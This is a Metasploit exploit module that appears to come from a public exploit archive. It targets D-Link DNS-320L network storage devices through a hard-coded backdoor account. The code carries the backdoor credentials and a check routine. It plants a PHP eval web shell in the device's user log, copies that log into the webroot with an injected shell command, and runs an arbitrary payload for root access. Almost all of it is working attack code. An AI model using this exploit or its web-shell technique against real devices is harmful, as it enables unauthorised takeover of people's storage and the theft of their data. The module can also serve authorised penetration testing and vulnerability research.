D-Link DNS-320L 'mydlinkBRionyg' Backdoor

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "D-Link DNS-320L 'mydlinkBRionyg' Backdoor",  
'Description' => %q{  
This module exploits two issues. The first issue is that there is a hard   
coded backdoor within DNS-320L devices. Using this backdoor access we   
can then reach buggy code which is vulnerable to command injection. Root   
shell will be spawned upon successful exploitation. Firmare versions 1.0   
(2012/6/15) to 6.0 (2015/07/28) are vulnerable.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'James Bercegay', # Vulnerability Discovery  
],  
'References' =>  
[  
[ 'URL', 'https://gulftech.org/' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['Automatic', {}] ],  
'DisclosureDate' => '2018-01-03',  
'DefaultTarget' => 0))  
end  
  
def check  
  
# We check for the presence of this vulnerability by requesting a default   
# system file and checking if the response code is 302.  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/nas_sharing.cgi",  
'vars_post' => {  
'cmd' => 7,  
'user' => "mydlinkBRionyg",  
'passwd' => Rex::Text.encode_base64("abc12345cba"),  
'path' => Rex::Text.encode_base64("/mnt/HD/HD_a2/.!@$mmc")  
}  
})  
  
if res and res.code == 302  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
  
# Make things a bit less obvious?  
rnd = Rex::Text.rand_text_hex(rand(10) + 5)  
idx = rand(1000)  
  
# We know the system supports PHP, so we go with a PHP payload  
print_status("Injecting selected payload into user logs")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/login_mgr.cgi",  
'vars_post' => {  
'cmd' => 'logout',  
'name' => "<?php unlink(__FILE__);eval(base64_decode($_REQUEST[#{idx}]));?>"  
}  
})  
  
# We are not allowed to use spaces or $IFS etc.  
print_status("Copying payload from syslog to webroot")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/cgi-bin/nas_sharing.cgi",  
'vars_post' => {  
'cmd' => 15,  
'user' => "mydlinkBRionyg",  
'passwd' => Rex::Text.encode_base64("abc12345cba"),  
'system' => Rex::Text.encode_base64("cat</var/log/user.log>/var/www/#{rnd}.php")  
}  
})  
  
# Execute the selected payload  
print_status("Now attempting to execute the selected payload")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => "/#{rnd}.php",  
'vars_post' => {  
idx => Rex::Text.encode_base64("#{payload.encoded};")  
}  
})  
  
end  
end  
`